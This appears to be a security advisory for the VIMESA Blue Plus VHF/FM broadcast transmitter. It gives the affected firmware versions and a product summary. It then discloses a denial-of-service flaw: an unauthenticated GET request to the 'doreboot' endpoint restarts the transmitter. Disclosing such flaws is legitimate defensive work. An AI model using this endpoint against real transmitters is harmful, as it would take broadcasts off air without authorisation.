Vendor: Video Medios, S.A. (VIMESA)  
Product web page:  
Affected version: img:v9.7.1 Html:v2.4 RS485:v2.5  
Summary: The transmitter Blue Plus is designed with all  
the latest technologies, such as high efficiency using  
the latest generation LDMOS transistor and high efficiency  
power supplies. We used a modern interface and performance  
using a color display with touch screen, with easy management  
software and easy to use. The transmitter is equipped with  
all audio input including Audio IP for a complete audio  
interface. The VHF/FM transmitter 30-1000 is intended  
for the transmission of frequency modulated broadcasts  
in mono or stereo. It work with broadband characteristics  
in the VHF frequency range from 87.5-108 MHz and can be  
operated with any frequency in this range withoug alignment.  
The transmitter output power is variable between 10 and 110%  
of the nominal Power. It is available with different remote  
control ports. It can store up to six broadcast programs  
including program specific parameters such as frequency,  
RF output power, modulation type, RDS, AF level and deviation  
limiting. The transmitter is equipped with a LAN interface  
that permits the complete remote control of the transmitter  
operation via SNMP or Web Server.  
Desc: The device is suffering from a Denial of Service (DoS)  
vulnerability. An unauthenticated attacker can issue an   
unauthorized HTTP GET request to the unprotected endpoint  
'doreboot' and restart the transmitter operations.
